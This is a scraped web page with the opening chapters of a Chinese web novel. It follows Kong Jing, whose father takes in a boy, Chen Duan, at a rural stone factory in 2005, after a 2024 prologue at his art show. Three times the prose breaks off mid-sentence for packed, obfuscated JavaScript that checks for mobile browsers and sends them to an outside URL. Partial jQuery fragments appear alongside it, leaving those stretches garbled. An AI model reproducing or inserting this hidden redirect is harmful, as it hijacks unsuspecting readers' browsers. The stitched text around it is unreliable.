《闽城十九夏》 1. 第 1 章 【楔子】 2024年夏,天气预报说今天有雨,孔净出门没带伞。 遇上晚高峰,计程车刚驶出大学城就被迫堵在高架上。 司机师傅看眼前面望不到尽头的尾灯长龙,转手去点中控台,滋滋几道信号连接声过后响起电台女声:“又是一年纷繁夏季,在立夏之日我们迎来了著名画家陈……作品展出为期三天、地点在‘不又书酒馆’三楼,有兴趣的市民朋友可以前往参……特别提、画展每日晚上七点停止接……” “什么网络!”司机“啪啪”两下,电台女声彻底卡壳。 一抬眼,同后视镜里一双形状极精致的猫咪眼对上,司机一愣,“……你刚才说要去‘布、补油书什么馆’?名字真拗口、也是去看展?” “嗯。” 孔净一笑,略带攻击性的眼眸就眯了起来,只让人觉得亲近。 司机也笑了:“你还是学生吧?” “不是。”孔净扎高马尾,没化妆,米黄色棉质连衣裙配帆布包,气质干净得像是车窗外新落的雨滴。 “那就是老师了?这么年轻就进大学教书。”司机感叹。 孔净又笑了下,手机振动,是一条短信:我去接你。 -不用,在路上了。 她低头打字。 “哎呀!”司机想起什么,“刚才电台里说七点画展就不准进人了,不堵车还好,现在……” “没关系,”孔净语调轻缓,“能进去。” 六点五十五分,孔净扫码付款,推开后座车门。 从书酒馆背身的楼梯间上去,听见两个年轻男女被工作人员拦在入口处,“明天再来吧,我们快闭馆了。” 白色板鞋踩在台阶上声音清脆,工作人员晃眼看见有个纤丽身影上来,“不好意思,这位……” 拒绝接待的话刚要重复脱口,工作人员看清孔净的脸,立刻笑道:“孔教授你来啦?陈先生一直在等你。” “好。” 年轻人不满,“教授就了不起,她可以进我们为什么不能进?” “孔教授是陈先生的家属。”工作人员说完觉得这句有歧义,怕给老板招黑,于是郑重解释道,“孔教授是陈先生的姐姐。” 入口处的纷争逐渐在身后消弭,孔净没急着往里边去,她驻足停在一幅笔触狂野的油画前。 “画展名字为什么叫‘银鱼’啊?这里哪幅画里有鱼?一条也没看见。”里面还有些来参观的人没出场馆,一个女生对同伴发出疑问。 “怎么没有?我猜……银鱼银鱼,其实是‘淫||欲’的谐音。”同伴往里边长廊上挂着的画作扫去。 如她所见,每一幅都看似线条杂乱,色彩兼囊极暗和极明,画作者淋漓的欲望几乎喷薄涌出纸面。 “还真是诶!”女生震惊,“我看其他画家表达爱情不都用笔温和轻柔吗,他怎么这么凌厉?” 同伴想了许久,“……也许,他所期待的爱情是、不被允许的?” “都取名银鱼了,就算不被允许……你说,他们做了吗?” 孔净听到这里,轻轻抿了下唇。 察觉到有目光停留在自己身上,转过脸,一道温淡身影从两排挂满情||欲画作的长廊尽头走来。 他不知道看了孔净多久,随着距离拉近,静黑眼眸咬合在孔净身上的力道越重。 走到面前,孔净听见他说:“雨下大了。” “嗯。” “今晚还走吗?” “看看吧。” ------------------------------------ 2005年,夏。 “告诉你一个秘密,其实……我爸爸是黑涩会——老、大!” 意料之中,看见阿禾张着嘴巴眼睛里露出震惊和崇拜,孔净慢吞吞地拍掉手上的沙子,“所以……我要回家了,再见。” 孔净是学校里少有的几个外地小孩之一,出了校门后逐渐脱离放学回家的大部队,往位于村子边缘的石材厂走去。 昨天晚上做作业时一心二用,新闻联播之后的天气预报说今年的台风很快又要来了,好像叫、叫……纳瑞鸡? 孔净不明白台风就是台风,为什么去年叫悟空,今年就变成了鸡。 不过这不重要。重要的是,台风要来了,学校又要放假了。 孔净步伐轻快,捡了根树枝自娱自乐这儿戳戳那儿打打,端午节快到了,阿禾的阿嬷说会有很多四脚蛇出没,要是不小心被咬到会死掉。 孔净还不想死,但是又觉得刺激,草丛里偶尔发出的窸窣声让她快乐又惊恐地小声尖叫。 看见那根标志性的锈红色烟囱,孔净越发加快脚步,拐过弯,视线里出现那幢独门独户的浅灰色石头房子,发现铁门是开着的,她一下笑起来,停下来胡乱拍掉衣服裤子上粘着的草屑,然后铆足劲冲刺过去。 “妈,我回来……”了 孔净的书包碰到铁门撞出“嘭”的一声,然后重重地打在她的屁股上,很响,像是挨了一巴掌。 她没继续出声,小动物感知危险的本能,面对屋里两道忽然直射过来的目光,她缩了一下肩膀,抿着嘴巴无声站在门边。 “把书包放下,洗个手把菜择了。”没开灯,侧边那扇窗户不足以将屋外的霞光引进来,孔净看不清妈妈的表情,但她听清了妈妈压抑的哭腔。 屋里空气流通效果差,孔净在闷湿的烟酒味中沉默地卸下书包,放到桌子上。 “看到妈妈哭,你就是这种态度索?” 孔净刚要转身去厨房就听见斜对面那个魁梧凶悍的男人对她说话,她吓了一跳。 一个小时前在学校里同阿禾说出“我爸爸是老大”时隐隐自豪的心情已经消失,就算记忆里孔大勇从不曾打她,孔净对爸爸却有着天生的畏惧。 小小的一声“没有”在喉咙里孱弱滚过,孔净站在原地低着头,完全不知道该做什么,以及,发生了什么。 “一个二个老子真的是……”孔大勇不满地砸一下嘴,把快要燃到尽头的烟屁股送到嘴边最后吸一口,然后摁死在烟灰缸里。 看见他粗厚的大手伸过来,孔净的脚后跟一瞬间不自觉离地,紧接着就听见爸爸笑嘻嘻地说:“端端,过来,孔净比你大一岁,你喊她姐姐。” 孔净“唰”地一下转过头,一个小身影从高高的床沿上滑下来,从深灰色阴影慢慢走到浅灰光影里,直到一下被爸爸的手抓住胳膊,拽到身边。 尽管屋里昏寐极了,孔净还是能看出他很白,和她见过的所有小孩都不一样,白色卫衣的领口上没有一点污渍,淡蓝色牛仔裤裤腿不长不短正正好,脚上那双有个打勾标志的运动鞋很新。 小男孩被孔大勇搂在怀里,那只大掌在他肩膀上重重拍了两下,他身子一歪,孔净瞬间想到一块豆腐被捶打。 可他没有出声,绯薄的双唇抿成一条直线,然后慢慢再站直。 “莫怕,放开些!在叔叔家里耍几天,你爸爸很快就来接你。走,叔叔带你下去转一圈。” 预判到孔大勇的动作,小男孩往旁边侧了一下,没让抱,顿了顿,粉白的右手捏成拳头递给他。 看着孔大勇牵着小男孩的手,一大一小的背景无比怪异又极其和谐地朝石材厂走去,孔净趴在窗边双手紧紧抓着窗棱,她转头问妈妈:“他是哪个?从哪儿来的?” 李贤梅没说话也没再哭,背对着站在灶台前准备晚饭,脚边用来装垃圾的黑色油漆桶里掉进一把蔫菜心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180461|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚饭只有孔净和李贤梅吃,屋子里异常安静,连作为每日既定节目的电视连续剧和新闻联播都缺席。 李贤梅没回答孔净的问题,但是她吃完饭麻利地收拾好灶台,走到厂子里。 天已经黑了,正对厂房的一排黑洞洞一样的石头房子总算亮起昏黄灯光,李贤梅就站在这些半开的门户前,扯开嗓子道:“你们在厂里这么久还不晓得孔大勇哇?他就是热心肠!一听说哪个有难,不管认识不认识就是凑也要凑上去帮忙!这回也是啊!一个名字都记不全的兄弟要去新疆创业,两口子这么远带个小娃娃不方便,再说只是先去考察也不一定能成,孔大勇二话不说就拍胸脯答应帮他们照看娃娃,生活费都不要!” “哦哟——老大就是老大!” “孔老大出了名的嘛!那回张天的媳妇被人摸了,也是老大带人去出的气!把那个杂皮打得哦!” “我们能来这边打工也是亏了大勇!没得大勇,我们不晓得还在老家哪个山角角挖地!” …… 厂里工人和他们的家眷端着饭盆你一嘴我一嘴地应和。 孔净坐在矮板凳上一边听大人们说话一边用指甲在蚊子包上划十字。 桂华嬢嬢从屋里拿了两颗杏给孔净,她说:“那个小孩有没有可能其实是你的亲弟弟?” “不可能!”孔净“嘎嘣”咬一口杏肉,“我妈妈又没有……再生小孩。” 后面几个字音量弱了些,九岁的小女孩平时听大人们荤素不忌地聊天和看电视,已经对生育有了模糊的概念。但是因为大人们闪躲的态度,所以她认为那是羞耻的。 桂华嬢嬢说:“不是你妈妈生,是你爸爸。” 孔净震惊:“我爸爸是男的,男的怎么会生小孩?!” 桂华嬢嬢不说了,只是蹲在一边哼着歌笑眯眯地拿斜眼看她。 孔净被她看得莫名难受,杏核含在嘴里咬得咯咯响。 晚上孔净和李贤梅已经睡下了,黑暗中忽然听见铁门被推开,孔大勇大着舌头喊道:“贤梅,起来给端端弄点吃的。” 他们家住的也是石厝,但是和本地村民的房子不同,这间石厝方方正正又孤零零地立在道边,六十来平的空间没有隔断,进门左手边一竖一横摆下两张床,床和床之间用石材和木架子搭成简易家具,放电视机和衣服被褥,进门右手边依次是所谓的厨房和餐桌,作为过渡左右两边另摆一张小点的红色理石桌子,那也是孔净做作业专用的桌子。 正因为没隔断,所以孔大勇一喊,灯一开,已经睡熟的孔净和李贤梅瞬间被惊醒。 孔净躺在床上没动,她听见李贤梅一边起身一边问:“你只顾自己喝酒没给他弄吃的?” “弄了,他吃不惯。” 孔净慢动作翻个身,透过灰白色蚊帐看见那个叫端端的小男孩明明已经很困了,站都站不直,却还是不肯让孔大勇抱,软软小小的一条孤立在铁门边。 黑色额发柔顺覆着前额,他睁着一双困倦惺忪的眼睛打量屋子,而后视线慢慢朝孔净所在的方向移来。 孔净想起桂华嬢嬢的话,无声揪一下薄被,翻身转向里侧。 李贤梅煮了红糖醪糟,卧了两个蛋,分别盛在两个碗里。 孔大勇把端端拎到桌边,诧异地问:“孔净还没睡?” “睡了也要喊起来,总不能让她以为我们吃独食。”李贤梅说。 孔大勇笑两声,“不晓得跟哪个学的这么小气。” 李贤梅过来喊孔净,孔净可能是被孔大勇说的“小气”两个字怄到,又或者是别的什么原因,她没动也没吭声。 李贤梅走回桌边,把另一碗红糖醪糟推到端端面前,“吃得完就都吃了。” 于是,孔净对着墙,更怄了。 2. 第 2 章 一碗红糖醪糟拖拖拉拉吃了十来分钟。 屋里响起震天的鼾声,李贤梅半边身子靠着桌沿,转头看见丈夫歪在床上张大嘴巴喷洒着酒气,已经睡着了。 转回眼,端端低垂着头,捏着汤匙把瓷碗里的荷包蛋搅得细碎。 她皱眉:“不吃别糟蹋。” 端端浓密的眼睫在脸上落下两片扇影,一声不发放下汤匙。 李贤梅眉头皱得更紧了,可她什么也没说,起身拿塑料盆摸黑去旁边的简棚里接了半盆凉水,兑入事先烧好装在暖瓶里的开水,丢帕子进去的时候伸手试了下水温。 “过来洗脸。”说完,她走到孔净的床边,一把掀起蚊帐,推孔净让她往里边睡点。 孔净一直注意着屋里的动静,听见李贤梅的脚步声往这边来,赶紧闭上眼睛假装睡着了。 她被推了好几下仍没动弹。 李贤梅没有多少耐心,弯下腰就把她连人带枕头半抱半搡地挪到靠墙躺着。 孔净睁开紧闭的双眼:“妈妈你干什么?” 李贤梅走到旁边从理石架子上堆砌的行李袋里费力扯出一条毯子,找不到多余的枕头也就不找了,她把毯子扔在孔净空出来的半张床位上,“你们两个凑合一晚上。” 孔净一下坐起来,“我不……” “声音再大点,最好把你爸爸吵起来。” 旁边床铺上的男人这时翻了一下身,孔净飞快朝那头看一眼,不敢再出声了。 李贤梅再转回去,看见端端低头坐在盛满水的塑料盆前,水泥地上一点水渍也没有。 没问他洗没洗,像是完成任务一样,把从孔净床前拎来的拖鞋放在他面前,然后迅速且毫不温柔地扒掉他的鞋袜,低声下指令:“穿上。” 李贤梅一手端塑料盆,一手拽起端端的一条胳膊,把他带到屋外,盆里的水往他脚上一冲。 “好了,去睡吧。” 孔净抱紧被子坐在床上,透过蚊帐看见端端慢慢走到床前,两边裤脚沾了水比原先的颜色要深一些,李贤梅忘了或者根本没想过给他找擦脚布,他正湿着一双小脚踩在孔净那双印着飞天小警女图案的凉拖上。 孔净一瞬间感到地盘被占、东西被抢的愤怒与屈辱。 “快上床睡,这里没人有空哄你。” 李贤梅话音落下,“啪”地一下关掉灯。 孔净在黑暗中听见李贤梅躺上了床,很快,隔壁传来两道此起彼伏的呼噜声。 月光从斜对面的窗缝照进来,端端站在蚊帐外,身影细小单薄,浅得像是被丢弃的背景板。 也不知道僵持了多久,久到孔净上下眼皮直打架,久到怀疑他可能想就这么站一晚上。 蒙昧中,孔净爬到床边,两手分开掖好的蚊帐,压着声音气愤又疑惑道:“你难道会特异功能站着睡觉?” 站在床前的小男孩听见声音慢慢抬起低垂的头,光线这么暗,他的眼睛却很亮,安安静静的,又有些哀伤,像是月光照在沼泽中。 九岁的孔净被他眼里那股矛盾的情绪一下击中,说不清道不明地觉得难受。 她直起上半身把蚊帐掀高些,声音并不明媚,却不似先前那样抵触了,她说:“快点上来,不要害我挨骂。” 可能因为有个当老大的爸爸,所以孔净天生也有一副侠义心肠,她短暂忘记了桂华嬢嬢说的话,还把自己的枕头分了一半给端端。 第二天起床,发现那碗原本属于自己的红糖醪糟还完整地放在桌上,她心里最后残存的那点敌意也完全消散了。 周六是端午节,姑父家的表弟听说孔净家大变活人平白多出一个小孩,一大早就闹着要来看稀奇。 姑父赵健不愧是老司机,不管路多陡弯多急,油门永远轰到最大,孔净蹲在石厝斜对面的土包上,远远看见一辆蓝色摩托车风驰电掣蛇行般靠近,遇到坑洼车上四个人就如同耍杂技一样腾起又落下。 孔净转身跑下土包,摩托车也驶到了石厝前。 车还没停稳,表弟赵长就挣开身后姑姑的胳膊,哧溜一下滑到地上:“端端!端端在哪里?!” “长长,这下有人跟你一起耍了!”孔大勇等着赵健给自己递烟,一边朝身后喊道,“端端快出来,别看电视了!” 屋里,端端安静坐在塑胶板凳上,仰头盯着电视机。 老式大头电视机连着屋顶的“锅盖”,统共没几个台,正在播放海峡对岸那部史上最长剧集《意难忘》。 赵长等不及,踢踢踏踏地跑进屋,同孔净那天第一次见到端端时一样,赵长停在一米开外的地方,脸上露出惊讶的表情。 表妹赵兰兰拉了拉孔净的衣袖,悄悄俯在她耳边说:“这个哥哥、不理人。” 自从那天晚上已经过去三天,孔净已经习惯端端的沉默。任何人喊他做什么,他都照做,像个乖巧的牵线木偶。其余时候他就坐在电视机前,不管上面播放的是《神笔马良》还是《蝴蝶公墓》,他都睁着一双静亮的眼睛一眨不眨地盯着屏幕。 李贤梅觉得他挺省事,但私下又怪道:“从来没见过电视瘾这么大的。” 孔净觉得他可能根本没在看电视。 那他看的是什么,想的又是什么呢? 李贤梅提前从厂里回来准备中饭,孔大勇嫌肉菜不够丰盛,又去外边那个专做附近这几个厂生意的小卖店买了只姜母鸭回来。 一只鸭两只腿,孔大勇夹起其中一只时,赵长像往常一样捧起饭碗去接,却眼睁睁看着最喜欢自己的舅舅把那只肥溜冒油的鸭腿放进端端的碗里。 “吃得多才长得高,姜母鸭这么好的东西你总不挑了吧?”孔大勇凶悍的脸上露出少见的慈爱的表情,这一幕很像在外血雨腥风拼杀的老大突然金盆洗手回来享受天伦之乐。 端端在他的注视下用筷子慢慢夹起鸭腿,垂眼,象征性地咬一口。 孔大勇满意地笑出声,然后才又夹起仅剩的另一只鸭腿给赵长。 在这种场合,就算没有端端,那两只鸭腿也只会分给赵长和赵兰兰,孔净已经习惯。 她眼明手快夹了只翅膀,却不是给自己,而是拿去安慰莫名在舅舅面前失了宠的表妹。 赵兰兰才四岁,但心思颇为敏感。 她看着桌子对面安静吞咽的端端和吃得满嘴流油的哥哥,嘴巴瘪了一下又一下。 孔净用胳膊碰碰旁边的赵兰兰,对她做个鬼脸,表妹眼里委屈却还是被逗得弯起了嘴角。 孔净转回脸,对上对面端端不知什么时候移来的静默视线,她无所谓地低头继续扒饭。 大人们还在吃,几个小孩得到准允后结伴出去玩。 赵兰兰还记着饭桌上“被夺走”的鸭腿,她拽着孔净的衣角小声问:“他以后会一直住在你家吗?” “不是啊,爸说他过几天就走了。”孔净为照顾小表妹走得慢,手里拿根狗尾巴草,时不时踢一下脚下的小石子。 最前面赵长手舞足蹈地疯跑,端端迈着沉静的脚步无动于衷地走在中间。 孔净觉得他可能一点也不想和他们一块玩,答应出来只是因为不想留在屋子里闻烟酒味以及听大人们的喋喋不休。 “走去哪里?”赵兰兰又问。 孔净理所应当地说:“他自己家呀。” 几个小孩顺着土石路到了厂里一处闲置的空地上,赵长一路上各种找机会和端端说话,但都以端端冷淡的注视作为结束。 赵长“切”一声,自以为比端端大两个月,他才不稀罕和穿得像模特一样的小屁孩一块玩呢! 赵长分开旁边比人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180462|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的芦苇丛,一头扎进去说要去探险。没过一会儿,草丛中传来他兴奋的叫声,“哈哈哈哈!敢不跟我玩,看我不吓死你!” 孔净带着赵兰兰蹲在地上,正用捡来的小石片垒灶建房子扮家家。 转头就看见一个身影“嗖”地一下从旁边窜出来,赵长盯准了端端所在的方位,跑过去,手臂一扬,两指间那条正在疯狂扭动的东西在半空中划过一条弧线,然后准确无比地落在端端的肩膀上。 孔净看清那东西后脸色大变,本能地拽着赵兰兰往后退,赵兰兰双脚不听使唤摔了个屁股墩,她吓得哇哇大哭:“呜呜呜!蛇!蛇!” 孔净以前没见过,但是因为骇人的传闻听得多,所以一瞬间就认出这就是阿禾阿嬷所说的四脚蛇! 那蛇应该还是幼体,只有成年人手掌那么长,可是它四只脚紧紧勾住端端的衣领,在他脆弱的脖颈上仰头张大嘴,淡棕色覆亮红纹路的尾巴摔打着他的皮肤。 孔净立刻想到去喊人,她刚要转身就看见同样吓得脸色苍白的端端抬起右手飞快抓住左肩上的蛇身,往旁边草丛一扔。 那条差点把人吓破胆的蛇顿时没了踪迹。 看见端端没有像预料中的那样吓哭或者尿裤子,赵长没意思地撇了下嘴。 然而伴随着窸窣的抖动声,他上衣左边口袋一鼓一鼓的。 还有! 赵兰兰的哭已经变成了嚎啕大哭。 孔净被赵兰兰双手紧紧拽着小腿,只能紧急喊道:“赵长!快扔了!有毒!被咬了会死!” 赵长事先可能并不知道四脚蛇有毒,听见孔净的声音之后,他脸上闪过慌张,但是被男孩子天生的自尊心驱使着,硬生生把心里的恐惧给压下去了。 他朝着端端的方向一步一步地走过去。 端端唇色发白,紧紧抿成一条直线,可他还是没有求饶,也没有躲。 他站在原地,一双眼睛变得更亮也更黑了,静默地直视着离自己越来越近的赵长和他口袋里的蛇。 “切!明明就是怕!哈哈!放你一马!” 赵长恶作剧地同端端擦肩而过,把用塑料袋装着的四脚蛇从口袋里掏出来,助跑后用力丢进不远处的泥浆沉淀池。 石材加工中会用水冲洗石材,被冲刷下来的石粉被引到沉淀池里,形成和沼泽差不多的质地。那只凶猛的四脚蛇好不容易从塑料袋里挣出头呼吸到新鲜空气,立刻被泥浆困住,吃进一口浆水混合物后痛苦地梗起脖子,但是越挣扎越往下陷。 过程很慢,结局没有转圜的余地。 好残忍。 孔净心有余悸地蹲下身,搂着赵兰兰的肩膀,转过头没再看。 “喂!你干什么?!” 赵长忽然喊叫起来。 原本无论别人做什么都用静默以对的端端突然朝沉淀池跑去,站在池边看了几秒,然后转头梭巡,随即冲向那片芦苇丛,折下一支比他还高的茎秆,一边剔掉多余的叶子和花穗一边快速折返到池边。 在那条四脚蛇彻底被泥浆淹没之前,他用徒手修剪的芦苇杆勾住塑料袋把蛇吊了回来。 半包塑料袋都是泥浆,四脚蛇被白色包裹,痛苦地在地上扭动。 赵长跑过来,还是怕被咬,嫌弃地“咦”一声,往后跳了两步,他说:“喂!你干嘛要救它!它会咬人,是坏东西!” 端端没说话,转身从废料堆里搬了一块石头过来,一下砸在地上。 “噗”的一声,塑料袋因为受力被泥浆冲破,四脚蛇被压在石头下,露出的一截尾巴毫无生息地耷着。 蛇死了。 赵长瞪大眼睛,像看比四脚蛇还恐怖的怪物一样看向端端。 过了会,一直被喊做“喂”的小男孩终于抬起眼,回应他:“我叫陈端。” 3. 第 3 章 赵长大肆将四脚蛇事件渲染一番讲给大人们听,中间省略了赵兰兰被吓到尿裤子的段落,但是着重强调陈端把蛇从沉淀池里救回来、再用石头砸死的过程。 李贤梅和姑姑孔小琼如他所愿露出惊异的表情,孔大勇听了之后瞪着被酒气熏红的眼睛转向陈端,粗厚大掌一下拍在他单薄的后背上,“男子汉就是要这么霸气!” 老大都开口了,赵健立即跟上,“好样的,这就叫给它一个痛快!” 赵长接连受挫,坐到电视机前把声音开得震天响,压过餐桌边两个大人围绕陈端的赞许。 李贤梅找了条孔净小时候的裤子,兑了水,和孔小琼一起带着赵兰兰去旁边简棚里清洗。 孔净坐在旁边做作业专用的桌子边,像是在看电视,清凌凌的视线却不受控地朝陈端看去。 陈端被孔大勇揽在身侧,乖巧又安静,看起来根本就是会被吓哭的样子啊。 真奇怪。 不过孔净对陈端的探究欲也没有那么强烈,因为端午节之后他就要回自己家了。 周一早晨,孔净吃了面条,抹抹嘴,背起书包就要出门。 她今天睡过头,再不跑快点有可能会迟到! 孔大勇喊住她,“慌什么,我送你!” 孔净惊喜极了,她喜欢被爸爸接送,这样的机会不常有。 孔大勇一口喝完剩余的面汤,然后看一眼桌边的陈端,他跟孔净说:“等端端吃完的,我今天主要送他走。” 陈端碗里的面条几乎没怎么动过,他拿着筷子慢慢地吃,不发出一点声音,相比于赵长狼吞虎咽的样子,他很有教养。 可是孔净好着急,这样一根一根地吃要吃到什么时候! 她飞快看一眼窗户外面正在一边抽烟一边和人大声讲话的孔大勇,走近几步轻声催促道:“你快点啦!” 陈端速度不变,孔净想到早读课迟到会被罚站就难过死了,可是陈端丝毫感受不到她的急切。 孔净绝望极了,开始生气。 就在她再次朝窗外张望打算避过孔大勇并对陈端发起第二轮催促时,外面的孔大勇也恰好看向屋内,“吃完了吗?” “没有!” 孔净赌气往桌边一坐,却听见筷子架在瓷碗上发出轻响。 她抬眼,斜对面的人已经起身走了,瓷碗里的面条只比刚才少了一点。 孔净怔了怔,赶紧出门,孔大勇已经轰燃了摩托车,正侧头让陈端坐上去。 陈端安安静静地站在一旁,直到他朝孔净看了一眼,孔净才后知后觉地走过去手脚并用先爬上坐垫。 孔净心想,他还挺有礼貌。 摩托车颠簸,身体失重腾起又落下,惊险又刺激。 孔净其实很想像小时候一样两手圈住爸爸的腰,但是九岁的小姑娘觉得这样有些别扭,只能紧紧拽住孔大勇的后衣襟。 身后的陈端无声无息,并不紧挨着孔净,而是两手向后抓住坐垫下面的不锈钢支架。 孔净有点担心他会掉下去,一路上警觉地支起耳朵听他可能会发出的惊叫声。 可是她又怀疑,就算真的摔下车,陈端也会安安静静地爬起来,不喊一声痛。 摩托车停在校门前,恰好响起早读课铃声,孔净从车上滑下去,着急中不小心抓到后面陈端的胳膊。已经是穿短袖的夏天,孔净“啊”了声,看见陈端净白的左小臂上立刻现出两道刮痕。 “孔净!孔净!快点啦!语文老师要来了!” 阿禾也来晚了,跑过校门时伸手拽着孔净就往教学楼那边跑去。 “对不……”孔净跌跌撞撞,回头,摩托车已经再次出发,孔大勇载着陈端消失在灰墙外的绿荫中。 “那是谁?也是你表弟吼?”刚在座位上坐下,阿禾就问孔净。 孔净摇头。 “吼!我就知道不是!”阿禾把课本立起来挡住脸笑嘻嘻地说,“正太哦!比你表弟帅哦!” 下午放学回家,铁门是关着的,屋里昏暗又静谧。 李贤梅还在厂里忙,那个一连几天坐在电视机前看《意难忘》的小男孩已经离开,孔大勇也没回来,可能又被留在哪处喝酒了。 孔净从书包里摸出钥匙开了门,自觉洗了手后把李贤梅提前买好的菜从塑料袋里抖出来。 孔大勇一直没出现,尽管早已习惯丈夫的神出鬼没,李贤梅在繁重的工作中还是忍不住抱怨。 孔净感觉到周遭的低气压,尽量不惹妈妈生气。 周五下午提前一节课放学,孔净被阿禾带着偷偷去她家吃了根棒冰才回家。 转过土包时,她惊奇地发现铁门是开着的,孔大勇的摩托车停在屋前。 孔净撒欢似的往屋里跑去,手上那捧一路上精心采集的野花都跑散了也顾不得捡。 进屋,里面的气氛却比那天陈端第一次出现时还要窒重。 如同那天的场景再次复刻,光线昏聩,孔大勇和李贤梅坐在桌边,一个手里夹一根烟屁股,面前的烟灰缸堆成了山,另一个在烟雾缭绕中时不时用已经揉成团的纸巾擦一下眼角。 孔净低声喊他们,“爸,妈。” “事情就是这么定了,你也该大度些!”孔大勇像那天一样吸干烟屁股,站起身的一瞬立刻换了副面孔,他裂开嘴笑着,大手冲孔净招了招,“走,爸爸带你和弟弟去外头耍!” 孔净惊愕至极,几乎是条件反射地转过头去。 陈端也似那天一样从爸妈的高床上滑下来,不同的是,床边立着一只淡灰色的行李箱。 孔大勇带着孔净和陈端去了小卖店,点了好几个招牌菜,他自己一边吃菜一边呷高浓度的白酒,还给他们各买了瓶可乐。 小卖店的老板娘问:“这是谁啊?长得真水灵啰!” 孔大勇眯起眼睛,咧嘴笑得像屡战不胜却峰回路转窃得他人胜利果实的烂仔,“我儿砸!” 可乐很好喝,甜滋滋,气泡跃出瓶口像烟花绽放过后坠落的声音。孔净两手握住可乐瓶,心里有万千个疑问,为什么陈端又回来了?为什么孔大勇这么高兴?为什么他让陈端以后都管他叫爸爸? 最后,孔净的脑海里浮现的是妈妈背对着站在灶台前做晚饭的孤沉身影,她忽然觉得很伤心。 孔大勇大摇大摆地向见过的每一个人介绍陈端,工人、朋友都知道他孔大勇有儿子了! 兄弟不要的儿子他来养,以后就是他孔大勇的亲儿子! 李贤梅似乎也接受了要给陈端当妈的事实。她哭过之后,出了家门不管谁问起陈端,她都高高兴兴地说:“是的啊,孔大勇一副热心肠谁拗得过他!养就养嘛,一个是养,两个也是养,费不了多少事!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180463|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那他亲生爸妈呢?” “不是死了就是失踪了,哪个晓得!” 大家当着面都夸孔大勇仗义,赞李贤梅大度,说他们两口子有福气,福报都在后头。 但风言风语总在背地里流窜。 孔净一个人路过石材厂时,工人叔叔们会用一种奇异的笑表情问她:“你弟弟呢?好不容易盼来个弟弟,你不带他一起耍?” 厂里的女眷就总是嗔怪地剜自家丈夫一眼,然后朝孔净招招手,从屋里拿东西给她吃。 孔净辨不清楚他们话语和表情里的潜台词,但她还是凭直觉感到了一丝恶意,不重,一种对他人生活的揶揄和编排欲。 于是,她不再接受嬢嬢们的投喂,非必要也不再去厂里。 既定事实就是陈端在石厝里住下了,他还是和孔净挤一张床,但是孔净默默把放在正中的枕头拉回到自己这侧靠墙放着。 台风天的晚上,窗外似有猛兽嘶吼,树影狂舞,仿佛世界末日来临。 有了儿子之后的孔大勇这阵倒是没再那么频繁外出,一反常态地和李贤梅在厂里监督工人们装货,偌大的屋子里只留孔净和陈端。 “嘭!呜——呜——呜——!”屋旁的黄葛树枝干猛烈撞击屋顶和窗户,风声越来越尖锐。 黑暗里,孔净两手几乎要把被子攥碎,她被吓得哭出了声。 也不光是因为害怕,压抑许久的情绪在环境的烘托下急需找到一个出口。 她质问陈端:“你为什么要住在我家?你为什么要让我爸爸妈妈吵架?你走行不行?你走!” 床铺另一边,陈端安安静静躺着,要不是蚊帐被风卷起,闪电照过他沉郁而漆黑的眼睛,孔净只当他睡着了。 陈端没有回答,孔净哭着哭着也没声了。 第二天醒来,两个小孩谁都没有提过这件事。 再过不了一个月就要放暑假,在孔大勇看来这个时候办转学吃力又没必要。 “端端这么聪明少上几天课照样考第一!”他让陈端在家把接下来的几个月混过去,等到了九月份再去上学。 于是陈端除吃饭睡觉之外的时间都彻底焊在了电视机前,而孔净周一到周五上学放学,若不是要在孔大勇面前装装样子,她几乎不主动和他说话,晚上挤一张床中间也隔一道半掌宽的楚河汉界。 到了周末,孔净不是把作业带去阿禾家做,就是赶快写完之后跑出去找阿禾玩,总之,住在一个屋檐下被迫顶着姐弟的头衔,孔净不理陈端,陈端也无视孔净。 暑假,孔净和阿禾在厂子后面的森林顺着挖机碾过的路跑得满头大汗,选定一棵上了年头的芒果树,两人你推我我拉你地爬上横向天际的一截粗枝干。 阿禾把从自家树上摘的杨梅小心从背包里拿出来,孔净也把芭乐分一颗给同伴。 阿禾咬一口冰淇淋质地的芭乐,好奇地问:“正太咧?你怎么都不喊他一起出来玩?” 孔净觉得热,脱了鞋子,在风中惬意地晃荡着小腿,她说:“他不跟我们玩。” “你都没喊!”阿禾有时会去孔净家,当然见过陈端一个人坐在电视机前的孤零背影,她同情心泛滥,“好可怜。” 孔净忽然有点烦,杨梅和芭乐也都不甜了,“我喊了他也不会来。” “你先喊喊看嘛。” 4. 第 4 章 孔净在黄昏之前回到家,意外发现李贤梅提前放工,正坐着一边看电视剧一边理刀豆。 “妈妈!”孔净洗了手,开心地凑过去也帮着撕豆筋。 